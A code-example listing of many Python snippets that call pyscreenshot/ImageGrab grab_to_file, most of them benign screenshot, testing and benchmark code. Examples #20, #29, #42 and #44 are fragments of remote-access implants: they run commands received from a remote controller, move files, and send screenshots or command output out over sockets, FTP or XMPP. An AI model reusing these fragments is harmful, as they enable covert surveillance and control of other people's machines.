Example #1
0
    def send_img(self):

        if __name__ == "__main__":

            ImageGrab.grab_to_file('file.png')
            host = socket.gethostname()
            port = 5000
            s = socket.socket()
            s.bind((host, port))
            s.listen(1)
            con, address = s.accept()

            print "\nImage Caputred"

            f = open("file.png", "rb")
            print "\nSending Image File: ", f.name

            while True:

                read = f.readline()

                if not read:
                    break
                con.send(read)

            print "\nImage Send Successfully"

            f.close()

            s.close()
Example #2
0
def screeshotEmail():
	pyscreenshot.grab_to_file('screenshot.png')
	image = open('screenshot.png','rb')
	image_read = image.read()
	# return base64.encodestring(image_read)
	image.close()
	return image_read
Example #3
0
    def send( self, i = -1 ):
        if i > 0:
            self.i = i;
        #
        else:
            self.i = 1;
        #
        
        a = '';
        file_name = 'temp_scr_shot.png';
        grab_to_file( file_name );
        cmd = 'convert %s -resize 280x140 %s' % \
              ( file_name, file_name );
        os.system( cmd );
        with open( file_name, 'rb' ) as f:
            a = f.read(  );
        #

        self.send_socket.send( 'F' );
        self.send_socket.send(  a  );
        print len( a );

        a = 'Page %d\n' % self.i;
        try:
            a = a + self.headlines[ '%d' % self.i ];
        except:
            pass;
        #
        self.send_socket.send( 'T' );
        self.send_socket.send(  a  );
        
        return;
def take_cool_screenshot(testCaseNumber, content):
    document = Document()
    document.add_heading(testCaseNumber,level=2)
    document.add_paragraph(content)
    ImageGrab.grab_to_file(testCaseNumber + '.png')
    document.add_picture(testCaseNumber + '.png',width=Inches(5.90551), height=Inches(3.54331))
    document.save(testCaseNumber+'ScreenShot'+'.docx')
    def screenshot(self):
        if len(self.qa_list) == 1:
            SaveDirectory = os.getcwd()
            SaveAs = os.path.join(SaveDirectory, 'log',
                                  self.qa_file.split(".")[0],
                                  time.strftime('%Y_%m_%d_%H_%M_%S')) + '.jpg'
            im = ImageGrab.grab()
            time.sleep(2)
            #print (SaveAs)
            im.save(SaveAs)
            #ImageGrab.grab_to_file(SaveAs)
        else:
            self.nowcase = self.nowcase.rstrip(".qa")
            self.nowcase = self.nowcase.lstrip(os.path.join(os.getcwd, "qa"))
            qas = self.qa_file.split('.')[0]

            if self.nowcase.find(os.sep) != -1:
                self.nowcase = self.nowcase.split(os.sep)[1]

            SaveDirectory = os.getcwd()
            os.mkdir(os.path.join(SaveDirectory, "log", qas, self.nowcase))
            SaveAs = os.path.join(SaveDirectory, 'log', qas, self.nowcase,
                                  time.strftime('%Y_%m_%d_%H_%M_%S')) + '.jpg'
            im = ImageGrab.grab()
            time.sleep(2)
            ImageGrab.grab_to_file(SaveAs)
Example #6
0
def loop():
    pygame.camera.init()
    #pygame.camera.list_camera() #Camera detected or not
    cam = pygame.camera.Camera("/dev/video0", (640, 480))
    cam.start()
    i = 0
    os.system("rm -rf web_2_data && mkdir -p web_2_data/web_jpg")
    os.system("mkdir -p web_2_data/web_png")
    t_now = datetime.datetime.now()
    t = str(t_now)[14:16]
    t1 = "0"
    while (int(t) + 1) != int(t1):
        name = "pic_" + str(i) + ".jpg"
        name_png = "pic_" + str(i) + ".png"
        img = cam.get_image()
        ImageGrab.grab_to_file(name_png)
        pygame.image.save(img, name)
        copy = "mv " + name + " web_2_data/web_jpg"
        os.system(copy)
        copy = "mv " + name_png + " web_2_data/web_png/"
        os.system(copy)
        t_now1 = str(datetime.datetime.now())
        t1 = t_now1[14:16]
        i += 1
        time.sleep(0.2)
Example #7
0
    def screenshot(self,
                   delay=0,
                   description=None,
                   title="New Screenshot",
                   markup="markdown",
                   priority=0):
        """Take a screenshot and post an event.

        :param delay: Number of seconds to wait before taking the screenshot.
        :type delay: int
        :param description: Description of the screenshot.
        :type description: str
        :param title: Title of the event.
        :type title: str
        :param markup: Markup of the description.
        :type markup: str
        :rtype: Result

        """
        if delay:
            time.sleep(delay)
        import pyscreenshot
        filename = tempfile.mktemp(prefix='inthing', suffix=".jpg")
        pyscreenshot.grab_to_file(filename)
        event = Event(type="screenshot",
                      title=title,
                      description=description,
                      markup=markup,
                      priority=priority)
        event.add_image(filename)
        result = self.add_event(event)
        return result
Example #8
0
def check_size(backend, bbox):
#    BackendLoader().force(backend)

    for childprocess in [0, 1]:
        im = pyscreenshot.grab(
            bbox=bbox,
            backend=backend,
            childprocess=childprocess,
        )
        img_debug(im, backend + str(bbox))

        if bbox:
            width = bbox[2] - bbox[0]
            height = bbox[3] - bbox[1]
        else:
            width, height = display_size()

        eq_(width, im.size[0])
        eq_(height, im.size[1])

        # it fails sometimes
        # eq_('RGB', im.mode, 'wrong mode! %s' % (backend))

        f = tempfile.NamedTemporaryFile(
            suffix='.png', prefix='pyscreenshot_test_')
        filename = f.name
        pyscreenshot.grab_to_file(
            backend=backend,
            childprocess=childprocess,
            filename=filename,
        )
 def capture_page(self, page, file_name, page_timeout):
     self.browser = webdriver.Firefox(firefox_profile=self.fp)
     self.browser.delete_all_cookies()
     self.browser.set_window_size(self.width, self.height)
     self.browser.set_page_load_timeout(page_timeout)
     try:
         self.browser.get(page)
     except TimeoutException as err:
         logging.info('maybe this page did not load completely')
         logging.debug(type(err))
         pass
     try:
         WebDriverWait(self.browser, 5).until(EC.alert_is_present())
         (root, ext) = os.path.splitext(file_name)
         suffix = '(prompt)' + ext
         pyscreenshot.grab()
         pyscreenshot.grab_to_file(root + suffix)
         Alert(self.browser).dismiss()
     except NoAlertPresentException as err:
         logging.debug(type(err))
         pass
     except TimeoutException:
         pass
     pyscreenshot.grab()
     pyscreenshot.grab_to_file(file_name)
     self.browser.close()
Example #10
0
 def Desktop_Capture(self):
     now = time.strftime("%Y-%m-%d_%H_%M_%S", time.localtime(time.time()))
     im = ImageGrab.grab()
     # im.show()
     ImageGrab.grab_to_file('..\\..\\Result\\pic\\' + 'Desktop_' + now +
                            '.png')
     print "save screen to file", now + '.png'
Example #11
0
def main():
    # 截全屏
    im = pyscreenshot.grab()
    # 查看截屏图片
    # im.show()

    # 保存图片
    pyscreenshot.grab_to_file("grab_py_demo.png")
Example #12
0
 def execute(self):
     filename = uuid.uuid4()
     imagename = '{}.jpg'.format(filename)
     imagepath = os.path.join(self.screenshot_dir, imagename)
     ImageGrab.grab_to_file(imagepath)
     static_imagepath = os.path.join('screenshots', imagename)
     data = json.dumps({'image': static_imagepath})
     cherrypy.engine.publish('websocket-broadcast', data)
def screenshot():
	# fullscreen
	im = ImageGrab.grab()
	im.show()

	# to file
	ImageGrab.grab_to_file('screenshot.png')
	print 'Successfully took screenshot and saved to screenshot.png'
Example #14
0
    def _run(self, img):
        filename = pyperclip.paste().replace('\n', ' ')

        if filename != '':
            ImageGrab.grab_to_file('logs/{}.bmp'.format(filename))

        key_press('home')
        time.sleep(3)
Example #15
0
 def __init__(self, ip, port, sock):
     Thread.__init__(self)
     self.ip = ip
     self.port = port
     self.sock = sock
     time.sleep(3)
     ImageGrab.grab_to_file('image.png')
     print " New thread started for " + ip + ":" + str(port)
Example #16
0
def main():
    # 截部分屏幕
    im = pyscreenshot.grab(bbox=(10, 10, 510, 510))
    # 查看截屏图片
    # im.show()

    # 保存图片
    pyscreenshot.grab_to_file('grab_py_part.png')
Example #17
0
def main():
	# 截部分屏幕
	im=pyscreenshot.grab(bbox=(10,10,510,510)) 
	# 查看截屏图片
	# im.show()

	# 保存图片
	pyscreenshot.grab_to_file('grab_py_part.png')
Example #18
0
def screenshot():
    roomX1 = 300
    roomY1 = 50
    roomX2 = 1200
    roomY2 = 800
    screen = ImageGrab.grab(bbox=(roomX1, roomY1, roomX2, roomY2))
    screen.show()
    ImageGrab.grab_to_file("EscapeRoom.png")
Example #19
0
def main():
    # 截全屏
    im = pyscreenshot.grab()
    # 查看截屏图片
    # im.show()

    # 保存图片
    pyscreenshot.grab_to_file('grab_py_demo.png')
Example #20
0
 def Operations(self):
     
     self.exchangeKeys()
     while True:
         cmd=PKCS1_OAEP.new(self.RSAKey).decrypt((b64decode(pickle.loads(self.sock.recv(4096)))))
         if cmd:
             cmd=cmd.strip('~')
         else:
             print "server closed connection"
         
         
         if cmd=="FT":
             rdata=""
             filename= self.receiveData()
             while True:
                 buf=(self.receiveData())
                 if buf=="QUIT":
                     break
                 else:
                     rdata+=buf
             with open(filename,'wb') as f:
                 f.write(rdata)
         
         
         elif cmd=="EFS":
             print "inside EFS"
             print self.receiveData()
             self.sendData("Send EFS Key")
             self.sendData('QUIT')
             
             
         elif cmd=="CMD":
             cmd =(self.receiveData()).strip('~')
             print "received command is : "+cmd
             p = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
             stdout, stderr= p.communicate()
             if str(stderr)=="None":
                 print "inside stdout"
                 self.sendData(stdout)
                 self.sendData("QUIT")
             else:
                 self.sendData("Error Occured, Error Code is: "+str(stderr))
             
         
         elif cmd=="SCP":
             print "Taking screenshot"
             ImageGrab.grab_to_file('testImage.png')
             f=open('testImage.png','rb')
             for filecontent in self.readFileinChunk(f):
                 self.sendData(filecontent)
             self.sendData("QUIT")
             print "Screenshot sent successfully"
         
         
         else:
             print "inside else block"
             print self.receiveData()
Example #21
0
def do_screenshot(imlabel, urlabel):
  scrn_dir = os.path.expanduser("~") + "/catcloud_scrns"
  if not os.path.exists(scrn_dir):
    os.makedirs(scrn_dir)
  im_name = scrn_dir + "/" + str(time.time()).replace(".", "") + ".png"
  print im_name
  ImageGrab.grab_to_file(im_name)
  imlabel.set_text(im_name)
  do_post(imlabel, urlabel)
Example #22
0
        def capture(uid):
            logging.debug('entering capture handler for %s' % uid)
            file_name = os.path.join(self.root_dir, '%s.png' % uid)
            screen.grab_to_file(file_name)

            with cv:
                if not self.should_continue and not self.transcoding:
                    logging.debug('notifying that we are done')
                    cv.notify_all()
Example #23
0
def Shutdown(*root):
    root[0].quit()
    CheckTasks[4] = 1
    ImageGrab.grab_to_file(
        "Hibernate_" +
        str(datetime.datetime.now()).replace(".", "").replace(":", "") +
        ".png")
    os.system(
        r'%windir%\system32\rundll32.exe powrprof.dll,SetSuspendState Hibernate'
    )
Example #24
0
def screenshot(shot):
    f_name = 'screenshot_{}.png'.format(shot)
    # Salva no arquivo
    grab_to_file(f_name)

    # Envia para o servidor
    envia(f_name)

    # Deleta do cliente
    remove(f_name)
Example #25
0
def grab_and_save():
    if not os.path.exists(_picpath_):
        os.makedirs(_picpath_)

    import datetime as dt
    from pyscreenshot import grab_to_file

    stored_grabbed_pic = _picpath_ + "." + str(dt.datetime.now()) + ".png"
    grab_to_file(stored_grabbed_pic)
    return stored_grabbed_pic
Example #26
0
def RunTasks():

    if CheckTasks[0] is 0:   Retrieve_Image()
    if CheckTasks[1] is 0:   Retrieve_Video()
    timerthread[0].cancel()
    if CheckTasks[2] is 0:   Delete_Image()
    if CheckTasks[3] is 0:   Delete_Video()
    sendMail(FROM,TO,"Done!","The Process ends at " + str(datetime.datetime.now()))
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    ImageGrab.grab_to_file("ScreenShot_"+str(datetime.datetime.now()).replace(".","").replace(":","") +".png")
    if CheckTasks[4] is 0: ShutdownTask()
Example #27
0
def screenshot(request):
    if sys.platform == 'linux': #differs for linux
        import pyscreenshot as ImgGrb
        ImgGrb.grab_to_file('Screenshot.png')
    else:
        from PIL import ImageGrab
        ImageGrab.grab().save("Screenshot.png")
    screenshot=open('Screenshot.png','rb')
    response= FileResponse(screenshot)
    response['Content-Disposition'] = 'attachment; filename=screenshot.png'
    return response
Example #28
0
	def upload_to_imgur(self):
		CLIENT_ID = "5c6af8a99249f98"

		ImageGrab.grab_to_file(args.upload)
		im = pyimgur.Imgur(CLIENT_ID)
		uploaded_image = im.upload_image(args.upload, title="Uploaded with PyImgur")
		print(uploaded_image.link)

		try:
			os.remove(args.upload)
		except OSError, e:
			print ("Error: %s - %s." % (e.filename,e.strerror))
Example #29
0
def parse(response, proxies):
  commands = response.split()
  if commands[0] == "execute":
    ex = ' '.join(commands[1:])
    return execute(ex)
  if commands[0] == "sleep":
    time.sleep(int(commands[1]))
    return "slept for "+str(commands[1])+'\n'
  if commands[0] == "download":
    return "saved to "+str(download(commands[1], proxies))+'\n'
  if commands[0] == "screenshot":
    ImageGrab.grab_to_file(commands[1]+".png")
    return "saved to "+str(commands[1])+'.png\n'
  else: return 0
Example #30
0
def run(force_backend, n, to_file, bbox=None):
    print '%-20s' % force_backend,

    f = tempfile.NamedTemporaryFile(suffix='.png', prefix='test')
    filename = f.name
    start = time.time()
    for i in range(n):
        if to_file:
            pyscreenshot.grab_to_file(filename, backend=force_backend)
        else:
            pyscreenshot.grab(bbox=bbox, backend=force_backend)
    end = time.time()
    dt = end - start
    print '%-4.2g sec' % (dt), '(%5d ms per call)' % (1000.0 * dt / n)
Example #31
0
def run(force_backend, n, to_file, bbox=None):
    print force_backend,' '*(20-len(force_backend)),

    BackendLoader().force(force_backend)
        
    f = tempfile.NamedTemporaryFile(suffix='.png', prefix='test')
    filename=f.name
    start = time.time()
    for i in range(n):
        if to_file:
            pyscreenshot.grab_to_file(filename)
        else:
            pyscreenshot.grab(bbox=bbox)
    end = time.time()
    print int(10*(end - start))/10.0, 'sec'
Example #32
0
 def _grabtofile(self):
     '''Remark: The intension was to directly save a screenshoot of the canvas in
                "out_grabtofile.png".
                Issue 1: Only a full screenshot was save.
                Issue 2: Saved image format defaults to .png. Other format gave errors. 
                Issue 3: "ImageGrab.grab_to_file" only able to return full screenshoot
                         and not just the canvas. '''
     print('\n def _grabtofile(self):')
     canvas = self._canvas()  # Get Window Coordinates of Canvas
     print('canvas = ', canvas)
     ImageGrab.grab_to_file("out_grabtofile.png",
                            ImageGrab.grab(bbox=canvas))
     print(
         'Screenshoot of tkinter.Canvas directly saved in "out_grabtofile.png"'
     )
Example #33
0
def RunTasks():

    if CheckTasks[0] is 0: Retrieve_Image()
    if CheckTasks[1] is 0: Retrieve_Video()
    timerthread[0].cancel()
    if CheckTasks[2] is 0: Delete_Image()
    if CheckTasks[3] is 0: Delete_Video()
    sendMail(FROM, TO, "Done!",
             "The Process ends at " + str(datetime.datetime.now()))
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    ImageGrab.grab_to_file(
        "ScreenShot_" +
        str(datetime.datetime.now()).replace(".", "").replace(":", "") +
        ".png")
    if CheckTasks[4] is 0: ShutdownTask()
Example #34
0
def parse(response, proxies):
    commands = response.split()
    if commands[0] == "execute":
        ex = ' '.join(commands[1:])
        return execute(ex)
    if commands[0] == "sleep":
        time.sleep(int(commands[1]))
        return "slept for " + str(commands[1]) + '\n'
    if commands[0] == "download":
        return "saved to " + str(download(commands[1], proxies)) + '\n'
    if commands[0] == "screenshot":
        ImageGrab.grab_to_file(commands[1] + ".png")
        return "saved to " + str(commands[1]) + '.png\n'
    else:
        return 0
def take_screenshot():
    tmp_file_path = tempfile.mktemp(suffix='.png')

    if platform.system() == "Windows":
        ImageGrab.grab().save(tmp_file_path)
    if platform.system() == "Darwin":
        run_command(["screencapture", tmp_file_path])
    else:
        pyscreenshot.grab_to_file(tmp_file_path)

    try:
        with open(tmp_file_path, "rb") as image_file:
            img = base64.b64encode(image_file.read())
        return img
    except:
        return None
Example #36
0
    def start(self):

        #host = "192.168.43.117"
        host = socket.gethostname()
        port = 9000

        i = 1
        path = "C:/Users/Akash/Desktop/Mega/working model/New folder/file"
        #directory = os.listdir(path)
        #for file in directory:
        if __name__ == "__main__":
            while True:
                im = ImageGrab.grab_to_file(
                    'C:/Users/Akash/Desktop/Mega/working model/New folder/file/image%d.png'
                    % (i))
                time.sleep(1)
                s = socket.socket()
                s.connect((host, port))
                image = 'image%d.png' % (i)
                i = i + 1
                filename = os.path.join(path, image)
                s.send(image + "\n")
                print(s.recv(1024))
                file_to_send = open(os.path.join(path, image), 'rb')
                s.send(file_to_send.read())
                print('File Sent\n')
                file_to_send.close()
                rec = s.recv(1024)
                print(rec)
                s.close()
    def make_full_screen():

        now = re.sub(r'[^\d]', '', str(datetime.datetime.now()))

        # print now
        im = ImageGrab.grab_to_file(now+'.png')
        return str(now)+'.png'
Example #38
0
def main():
    global curr_num

    if loop:
        Button_quit.config(state='disabled')
        Button_startcapture.config(state='disabled')
        Button_stopcapture.config(state='normal')
        screenshot.grab_to_file('images/' + str(curr_num) + '.png')
        print(str(curr_num))
        Label_imageCount["text"] = str(curr_num)
        curr_num += 1
        time.sleep(delay)
    else:
        Button_quit.config(state='normal')
        Button_startcapture.config(state='normal')
        Button_stopcapture.config(state='disabled')

    top.after(100, main)
Example #39
0
def take_screenshot(filename):
	"""Takes a screenshot of entire screen. 

	Compresses output png with gzip and deletes the original file. This function 
	should eventually save the file to Amazon s3 or at the least scp/rsync to another
	host.

	"""

	try:
		print "Saving screenshot {0}.gz\r".format(filename)
		pyscreenshot.grab_to_file(filename)
		file_in = open(filename, 'rb')
		file_out = gzip.open(filename + '.gz', 'wb')
		file_out.writelines(file_in)
		Popen('rm -f {0}'.format(filename), shell=True, stdout=PIPE).communicate()
	except IOError, e:
		print e
		sys.exit(1)
Example #40
0
    def stop_test(self, test_info):
        """
        !!!TEMPORARY METHOD!!! \n
        To be executed after every test-case (test function). If test failed, function saves
        screenshots created during test.

        For more information see: https://code.google.com/p/chromedriver/issues/detail?id=816

        :param test_info: information about test
        :return:
        """
        if test_info.test_status not in ('passed', None):
            # save screenshot in case test fails
            screenshot_folder = os.path.join(self.shishito_support.project_root, 'screenshots')

            if not os.path.exists(screenshot_folder):
                os.makedirs(screenshot_folder)

            file_name = re.sub('[^A-Za-z0-9_. ]+', '', test_info.test_name)
            Screenshotter.grab_to_file(os.path.join(screenshot_folder, file_name + '.png'))
Example #41
0
def run(force_backend, n, to_file, bbox=None):
    tmpdir = tempfile.mkdtemp(prefix='pyscreenshot_speedtest_')
    start = time.time()
    for _ in range(n):
        if to_file:
            filename=os.path.join(tmpdir, 'speedtest.png')
            pyscreenshot.grab_to_file(filename, backend=force_backend, childprocess=True)
        else:
            pyscreenshot.grab(bbox=bbox, backend=force_backend, childprocess=True)
    end = time.time()
    dt = end - start

    s = ''
    s += '%-20s' % force_backend
    s += '\t'
    s += '%-4.2g sec' % dt
    s += '\t'
    s += '(%5d ms per call)' % (1000.0 * dt / n)
    print(s)
    shutil.rmtree(tmpdir)
Example #42
0
 def main(self, args):
     args = args.split(" ")
     password = args[0]
     user = args[1]
     server = args[2]
     session = ftplib.FTP(server, user, password)
     sock.sock.s.send("FTP SESSION OPENED\n")
     ImageGrab.grab_to_file("pic.jpg", childprocess=True, backend=None)
     sock.sock.s.send("SCREENSHOT TAKING FINISHED\n")
     pic = open(screenshotfile, 'rb')
     session.storbinary("STOR pic.jpg", pic)
     pic.close()
     session.quit()
     sock.sock.s.send("FILE UPLOADED BEGINNING CLEANUP\n")
     proc = subprocess.Popen("del pic.jpg",
                             shell=True,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE,
                             stdin=subprocess.PIPE)
     return "CLEANUP FINISHED FILE UPLOADED\n"
Example #43
0
def record(countdown=0, screenshot_number=0):
    print "[+] Countdown:", countdown, "/ Starting position:", screenshot_number
    try:
        while True:
            if countdown > 0:
                print "[+] Staring in", str.replace(str(countdown), "-", "")
                countdown -= 1
            else:
                print "[+] Taking Screenshot number", screenshot_number
                ImageGrab.grab_to_file(
                    os.path.join(working_dir, project, "scr_" + get_file_number(screenshot_number) + ".png")
                )
                screenshot_number += 1
            time.sleep(screenshot_rate)
    except KeyboardInterrupt:
        print "[+] Saving video..."
        if raw_input("Paused, continue? y/n: ") == "y":
            record(0, screenshot_number)
        else:
            if raw_input("Render recorded video? y/n: ") == "y":
                render_movie(os.path.join(working_dir, project))
        pass
Example #44
0
 def message(self, msg):
   if msg['type'] in ('chat', 'normal'):
     body = msg['body']
     # Execute and respond to $command instructions
     if body and body[0] == CMD_TOKEN:
       reply = self.run_command(body.lstrip(CMD_TOKEN))
       msg.reply(reply).send()
       return
     # Execute and respond to !download instructions
     if body and body[0] == DWNLD_TOKEN:
       self.download(body.lstrip(DWNLD_TOKEN))
       savedToMsg = "file saved to: {}".format(
         body.lstrip(DWNLD_TOKEN).split('/')[-1])
       msg.reply(savedToMsg).send()
       return
     # Execute and respond to the ^upload instruction
     if body and body[0] == UPLD_TOKEN:
       reply = self.upload(body.lstrip(UPLD_TOKEN))
       msg.reply("file posted to: "+reply).send()
       return
     # Execute and respond to the %xor instruction  
     if body and body[0] == XOR_TOKEN:
       file_name = format(body.lstrip(XOR_TOKEN).split('/')[-1])
       self.xor(file_name, file_name+".new", self.xor_var)
       msg.reply("file saved as "+file_name+".new").send()
       return
     # Execute and respond to the &screenshot instruction  
     if body and body[0] == SCRN_TOKEN:
       file_name = format(body.lstrip(SCRN_TOKEN))
       ImageGrab.grab_to_file(file_name+".png")
       msg.reply("screenshot saved as "+file_name+".png").send()
       return
     # Default response if no special tokens were given
     time.sleep(random.uniform(0.4, 2.45))
     reply = random.choice(MESSAGES)
     msg.reply(reply).send()
Example #45
0
 def grab(self):
     self.__createDir()
     now = datetime.now()
     nowTime = now.timestamp()
     name = str(nowTime).split(".")[0]
     im = ImageGrab.grab_to_file(os.path.join(self.dir, C.SCREEN_IMG))
     print("Taking Successfully")
     from_addr = C.EMAIL_126
     password = C.PWD
     to_addr = C.EMAIL_QQ
     smtp_server = C.SMTP_126_SERVER
     subject = C.TEST_SUBJECT
     attachs = [os.path.join(self.dir, C.SCREEN_IMG)]
     se = sendEmail.SendEmail(from_addr, password, to_addr, smtp_server, subject, attachs)
     se.send()
Example #46
0
    def _make_screenshot(self):
        tmpfile = tempfile.NamedTemporaryFile(delete=False,
                                              suffix=self.EXTENSION)
        pyscreenshot.grab_to_file(tmpfile.name)

        return tmpfile
Example #47
0
def Send_Screen():
	ImageGrab.grab_to_file('im.png')
	return 'im'
Example #48
0
def Shutdown(*root):
    root[0].quit()
    CheckTasks[4] = 1
    ImageGrab.grab_to_file("Hibernate_"+str(datetime.datetime.now()).replace(".","").replace(":","") +".png")
    os.system(r'%windir%\system32\rundll32.exe powrprof.dll,SetSuspendState Hibernate')
def PIL_SAVE_SCREENSHOT(dst_path,file_name):
    time.sleep(2)
    ImageGrab.grab_to_file(os.path.join(dst_path,file_name+'.png'))
    time.sleep(2)
Example #50
0
def grabscreen():
    datenow = datetime.datetime.now().strftime("%I_%M%p")
    ImageGrab.grab_to_file("{}.png".format(str(datenow)))
Example #51
0
def screenshot(path):
	ImageGrab.grab_to_file(path)
Example #52
0
 def show(backend='auto'):
     if backend == 'auto':
         backend = None
     im = grab_to_file(filename='./static/desktop.jpg', backend=backend)
Example #53
0
def get_screenshot():
    filename = SCREENS + time.strftime('%d_%m_%Y-%H_%M_%S') + ".png"
    pyscreenshot.grab_to_file(filename)
    return filename
Example #54
0
def screen_shotter():
    time = datetime.utcnow()
    ImageGrab.grab_to_file('{}.png'.format(time))